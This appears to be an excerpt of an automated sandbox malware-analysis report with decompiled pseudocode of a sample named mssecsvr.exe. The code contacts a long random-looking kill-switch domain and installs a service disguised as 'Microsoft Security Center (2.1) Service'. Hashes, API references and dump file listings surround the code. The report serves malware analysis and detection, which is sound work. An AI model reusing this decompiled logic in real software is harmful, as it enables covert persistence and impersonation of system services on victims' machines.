					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t55);
				_push(0);
				_push(GetModuleHandleA(0));
				_t40 = E00408140();
				_v108 = _t40;
				exit(_t40); // executed
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L00409B80();
				return _t41;
			}

0x00409a19
0x00409a1b
0x00409a20
0x00409a2b
0x00409a2c
0x00409a39
0x00409a3e
0x00409a43
0x00409a4a
0x00409a51
0x00409a64
0x00409a72
0x00409a7b
0x00409a80
0x00409a85
0x00409a8b
0x00409a92
0x00409a98
0x00409a99
0x00409a9e
0x00409aa3
0x00409aa8
0x00409ab2
0x00409acb
0x00409ad1
0x00409ad6
0x00409adb
0x00409ae8
0x00409aea
0x00409af0
0x00409b2c
0x00409b31
0x00409b32
0x00409b32
0x00409af2
0x00409af2
0x00409af2
0x00409af3
0x00409af6
0x00409af8
0x00409b03
0x00409b05
0x00409b05
0x00409b06
0x00409b06
0x00409b03
0x00409b09
0x00409b0d
0x00000000
0x00000000
0x00409b13
0x00409b1a
0x00409b24
0x00409b39
0x00409b26
0x00409b26
0x00409b26
0x00409b3a
0x00409b3b
0x00409b3c
0x00409b44
0x00409b45
0x00409b4a
0x00409b4e
0x00409b54
0x00409b59
0x00409b5b
0x00409b5e
0x00409b5f
0x00409b60
0x00409b67

APIs

__set_app_type.MSVCRT ref: 00409A43
__p__fmode.MSVCRT ref: 00409A58
__p__commode.MSVCRT ref: 00409A66
__setusermatherr.MSVCRT ref: 00409A92
_initterm.MSVCRT ref: 00409AA8
__getmainargs.MSVCRT ref: 00409ACB
_initterm.MSVCRT ref: 00409ADB
GetStartupInfoA.KERNEL32(?), ref: 00409B1A
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00409B3E
exit.KERNELBASE ref: 00409B4E
_XcptFilter.MSVCRT ref: 00409B60

Memory Dump Source

Source File: 00000004.00000002.391068140.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.391060156.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391102346.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391121723.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391199792.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391280407.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391489177.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391656756.00000000007AE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391740477.0000000000808000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391750917.000000000080A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391757305.0000000000816000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391767653.0000000000818000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391797496.0000000000822000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391806748.0000000000825000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391828901.0000000000838000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391859267.000000000083E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391905825.000000000084A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391916370.0000000000856000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391923161.000000000085C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391931573.000000000086F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391938777.000000000087B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391945502.0000000000884000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391951444.0000000000888000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391958478.0000000000890000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391974019.0000000000898000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391983331.00000000008A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391989273.00000000008A8000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392010207.00000000008B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392024588.00000000008B8000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392048901.00000000008C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392057705.00000000008C8000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction ID: f220c78e044b43db95b39954543cb8470338bddc8e57b6bf74c51ec52977e19a
Opcode Fuzzy Hash: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction Fuzzy Hash: AF415E71800348EFDB24DFA4ED45AAA7BB8FB09720F20413BE451A72D2D7786841CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408140 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00408140() {
				char* _v1;
				char* _v3;
				char* _v7;
				char* _v11;
				char* _v15;
				char* _v19;
				char* _v23;
				void _v80;
				char _v100;
				char* _t12;
				void* _t13;
				void* _t27;

				_t12 = memcpy( &_v80, "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com", 0xe << 2);
				asm("movsb");
				_v23 = _t12;
				_v19 = _t12;
				_v15 = _t12;
				_v11 = _t12;
				_v7 = _t12;
				_v3 = _t12;
				_v1 = _t12;
				_t13 = InternetOpenA(_t12, 1, _t12, _t12, _t12); // executed
				_t27 = _t13;
				InternetOpenUrlA(_t27,  &_v100, 0, 0, 0x84000000, 0); // executed
				_push(_t27);
				InternetCloseHandle();
				InternetCloseHandle(0);
				E00408090();
				return 0;
			}

0x00408155
0x00408157
0x00408158
0x0040815c
0x00408160
0x00408164
0x00408168
0x0040816c
0x00408177
0x0040817b
0x0040818e
0x00408194
0x0040819c
0x004081a7
0x004081ab
0x004081ad
0x004081b9

APIs

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040817B
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84000000,00000000), ref: 00408194
InternetCloseHandle.WININET(00000000), ref: 004081A7
InternetCloseHandle.WININET(00000000), ref: 004081AB

Part of subcall function 00408090: GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
Part of subcall function 00408090: __p___argc.MSVCRT ref: 004080A5

Strings

http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com, xrefs: 0040814A

Memory Dump Source

Source File: 00000004.00000002.391068140.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.391060156.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391102346.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391121723.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391199792.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391280407.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391489177.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391656756.00000000007AE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391740477.0000000000808000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391750917.000000000080A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391757305.0000000000816000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391767653.0000000000818000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391797496.0000000000822000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391806748.0000000000825000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391828901.0000000000838000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391859267.000000000083E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391905825.000000000084A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391916370.0000000000856000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391923161.000000000085C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391931573.000000000086F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391938777.000000000087B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391945502.0000000000884000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391951444.0000000000888000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391958478.0000000000890000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391974019.0000000000898000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391983331.00000000008A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391989273.00000000008A8000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392010207.00000000008B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392024588.00000000008B8000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392048901.00000000008C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392057705.00000000008C8000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileModuleName__p___argc
String ID: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
API String ID: 774561529-2614457033
Opcode ID: 0bbc0dabe610ff42f1f9ad6e85cc21407dd9b1b68127969cd029bea3a518856a
Instruction ID: 3b8a91e0baa4f3639afdb349cfc438007093f0a6557163af6b5eb03d237fc32a
Opcode Fuzzy Hash: 0bbc0dabe610ff42f1f9ad6e85cc21407dd9b1b68127969cd029bea3a518856a
Instruction Fuzzy Hash: B3018671548310AEE310DF748D01B6B7BE9EF85710F01082EF984F72C0EAB59804876B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407C40 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00407C40() {
				char _v260;
				void* _t15;
				void* _t17;

				sprintf( &_v260, "%s -m security", 0x70f760);
				_t15 = OpenSCManagerA(0, 0, 0xf003f);
				if(_t15 == 0) {
					return 0;
				} else {
					_t17 = CreateServiceA(_t15, "mssecsvc2.1", "Microsoft Security Center (2.1) Service", 0xf01ff, 0x10, 2, 1,  &_v260, 0, 0, 0, 0, 0);
					if(_t17 != 0) {
						StartServiceA(_t17, 0, 0);
						CloseServiceHandle(_t17);
					}
					CloseServiceHandle(_t15);
					return 0;
				}
			}

0x00407c56
0x00407c6e
0x00407c72
0x00407cd3
0x00407c74
0x00407ca7
0x00407cab
0x00407cb2
0x00407cb9
0x00407cb9
0x00407cbc
0x00407cc9
0x00407cc9

APIs

sprintf.MSVCRT ref: 00407C56
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00407C68
CreateServiceA.ADVAPI32(00000000,mssecsvc2.1,Microsoft Security Center (2.1) Service,000F01FF,00000010,00000002,00000001,?,00000000,00000000,00000000,00000000,00000000,6F54FB10,00000000), ref: 00407C9B
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00407CB2
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CB9
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CBC

Strings

mssecsvc2.1, xrefs: 00407C95
Microsoft Security Center (2.1) Service, xrefs: 00407C90
%s -m security, xrefs: 00407C50

Memory Dump Source

Source File: 00000004.00000002.391068140.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.391060156.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391102346.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391121723.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391199792.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391280407.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391489177.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391656756.00000000007AE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391740477.0000000000808000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391750917.000000000080A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391757305.0000000000816000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391767653.0000000000818000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391797496.0000000000822000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391806748.0000000000825000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391828901.0000000000838000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391859267.000000000083E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391905825.000000000084A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391916370.0000000000856000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391923161.000000000085C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391931573.000000000086F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391938777.000000000087B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391945502.0000000000884000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391951444.0000000000888000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391958478.0000000000890000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391974019.0000000000898000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391983331.00000000008A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391989273.00000000008A8000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392010207.00000000008B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392024588.00000000008B8000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392048901.00000000008C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392057705.00000000008C8000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$CreateManagerOpenStartsprintf
String ID: %s -m security$Microsoft Security Center (2.1) Service$mssecsvc2.1
API String ID: 3340711343-2450984573
Opcode ID: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction ID: 2288e5cc66680fabefb91112cf05624c6df81315eb9d87428618c258e2ee617f
Opcode Fuzzy Hash: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction Fuzzy Hash: AD01D1717C43043BF2305B149D8BFEB3658AB84F01F500025FB44B92D0DAF9A81491AF

Uniqueness

Uniqueness Score: -1.00%

Function 00408090 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00408090() {
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				struct _SERVICE_TABLE_ENTRY _v16;
				long _t6;
				void* _t19;
				void* _t22;

				_t6 = GetModuleFileNameA(0, 0x70f760, 0x104);
				__imp____p___argc();
				_t26 =  *_t6 - 2;
				if( *_t6 >= 2) {
					_t19 = OpenSCManagerA(0, 0, 0xf003f);
					__eflags = _t19;
					if(_t19 != 0) {
						_t22 = OpenServiceA(_t19, "mssecsvc2.1", 0xf01ff);
						__eflags = _t22;
						if(_t22 != 0) {
							E00407FA0(_t22, 0x3c);
							CloseServiceHandle(_t22);
						}
						CloseServiceHandle(_t19);
					}
					_v16 = "mssecsvc2.1";
					_v12 = 0x408000;
					_v8 = 0;
					_v4 = 0;
					return StartServiceCtrlDispatcherA( &_v16);
				} else {
					return E00407F20(_t26);
				}
			}

0x0040809f
0x004080a5
0x004080ab
0x004080ae
0x004080c9
0x004080cb
0x004080cd
0x004080e8
0x004080ea
0x004080ec
0x004080f1
0x004080fa
0x004080fa
0x004080fd
0x00408100
0x00408105
0x0040810e
0x00408116
0x0040811e
0x00408130
0x004080b0
0x004080b8
0x004080b8

APIs

GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
__p___argc.MSVCRT ref: 004080A5
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,00000000,?,004081B2), ref: 004080C3
OpenServiceA.ADVAPI32(00000000,mssecsvc2.1,000F01FF,6F54FB10,00000000,?,004081B2), ref: 004080DC
CloseServiceHandle.ADVAPI32(00000000,?,?,?,004081B2), ref: 004080FA
CloseServiceHandle.ADVAPI32(00000000,?,004081B2), ref: 004080FD
StartServiceCtrlDispatcherA.ADVAPI32(?,?,?), ref: 00408126

Strings

mssecsvc2.1, xrefs: 004080D6, 00408105

Memory Dump Source

Source File: 00000004.00000002.391068140.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.391060156.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391102346.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391121723.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391199792.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391280407.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391489177.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391656756.00000000007AE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391740477.0000000000808000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391750917.000000000080A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391757305.0000000000816000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391767653.0000000000818000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391797496.0000000000822000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391806748.0000000000825000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391828901.0000000000838000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391859267.000000000083E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391905825.000000000084A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391916370.0000000000856000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391923161.000000000085C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391931573.000000000086F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391938777.000000000087B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391945502.0000000000884000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391951444.0000000000888000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391958478.0000000000890000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391974019.0000000000898000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391983331.00000000008A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391989273.00000000008A8000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392010207.00000000008B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392024588.00000000008B8000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392048901.00000000008C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392057705.00000000008C8000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$CtrlDispatcherFileManagerModuleNameStart__p___argc
String ID: mssecsvc2.1
API String ID: 4274534310-2839763450
Opcode ID: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction ID: 0eddf8d8cc97b5ba853ece0b0f9ce4fe0dc31dc3004373c78c05f92e851b2f94
Opcode Fuzzy Hash: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction Fuzzy Hash: 4A014775640315BBE3117F149E4AF6F3AA4EF80B19F404429F544762D2DFB888188AAF

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: mssecsvr.exePID: 6964, Parent PID: 588COMMON

Execution Graph

Execution Coverage:	36.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	36
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00408090 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00408090() {
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				struct _SERVICE_TABLE_ENTRY _v16;
				long _t6;
				int _t9;
				void* _t19;
				void* _t22;

				_t6 = GetModuleFileNameA(0, 0x70f760, 0x104);
				__imp____p___argc();
				_t26 =  *_t6 - 2;
				if( *_t6 >= 2) {
					_t19 = OpenSCManagerA(0, 0, 0xf003f);
					__eflags = _t19;
					if(_t19 != 0) {
						_t22 = OpenServiceA(_t19, "mssecsvc2.1", 0xf01ff);
						__eflags = _t22;
						if(_t22 != 0) {
							E00407FA0(_t22, 0x3c);
							CloseServiceHandle(_t22);
						}
						CloseServiceHandle(_t19);
					}
					_v16 = "mssecsvc2.1";
					_v12 = 0x408000;
					_v8 = 0;
					_v4 = 0;
					_t9 = StartServiceCtrlDispatcherA( &_v16); // executed
					return _t9;
				} else {
					return E00407F20(_t26);
				}
			}

APIs

GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
__p___argc.MSVCRT ref: 004080A5
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,00000000,?,004081B2), ref: 004080C3
OpenServiceA.ADVAPI32(00000000,mssecsvc2.1,000F01FF,6F54FB10,00000000,?,004081B2), ref: 004080DC
CloseServiceHandle.ADVAPI32(00000000,?,?,?,004081B2), ref: 004080FA
CloseServiceHandle.ADVAPI32(00000000,?,004081B2), ref: 004080FD
StartServiceCtrlDispatcherA.ADVAPI32(?,?,?), ref: 00408126

Strings

mssecsvc2.1, xrefs: 004080D6, 00408105

Memory Dump Source

Source File: 00000007.00000002.990922076.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.990912772.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.990957313.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.990973656.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.990987500.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.991108405.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.991123510.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.991151665.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.991211399.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$CtrlDispatcherFileManagerModuleNameStart__p___argc
String ID: mssecsvc2.1
API String ID: 4274534310-2839763450
Opcode ID: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction ID: 0eddf8d8cc97b5ba853ece0b0f9ce4fe0dc31dc3004373c78c05f92e851b2f94
Opcode Fuzzy Hash: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction Fuzzy Hash: 4A014775640315BBE3117F149E4AF6F3AA4EF80B19F404429F544762D2DFB888188AAF

Uniqueness

Uniqueness Score: -1.00%

Function 00409A16 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				void* _t27;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40a1a0);
				_push(0x409ba2);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x70f894 =  *0x70f894 | 0xffffffff;
				 *0x70f898 =  *0x70f898 | 0xffffffff;
				 *(__p__fmode()) =  *0x70f88c;
				 *(__p__commode()) =  *0x70f888;
				 *0x70f890 = _adjust_fdiv;
				_t27 = E00409BA1( *_adjust_fdiv);
				_t61 =  *0x431410; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E00409B9E);
				}
				E00409B8C(_t27);
				_push(0x40b010);
				_push(0x40b00c);
				L00409B86();
				_v112 =  *0x70f884;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x70f880,  &_v112);
				_push(0x40b008);
				_push(0x40b000); // executed
				L00409B86(); // executed
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while( *_t55 > 0x20) {
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t55);
				_push(0);
				_push(GetModuleHandleA(0));
				_t40 = E00408140();
				_v108 = _t40;
				exit(_t40);
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L00409B80();
				return _t41;
			}

APIs

__set_app_type.MSVCRT ref: 00409A43
__p__fmode.MSVCRT ref: 00409A58
__p__commode.MSVCRT ref: 00409A66
__setusermatherr.MSVCRT ref: 00409A92
_initterm.MSVCRT ref: 00409AA8
__getmainargs.MSVCRT ref: 00409ACB
_initterm.MSVCRT ref: 00409ADB
GetStartupInfoA.KERNEL32(?), ref: 00409B1A
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00409B3E
exit.MSVCRT ref: 00409B4E
_XcptFilter.MSVCRT ref: 00409B60

Memory Dump Source

Source File: 00000007.00000002.990922076.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.990912772.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.990957313.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
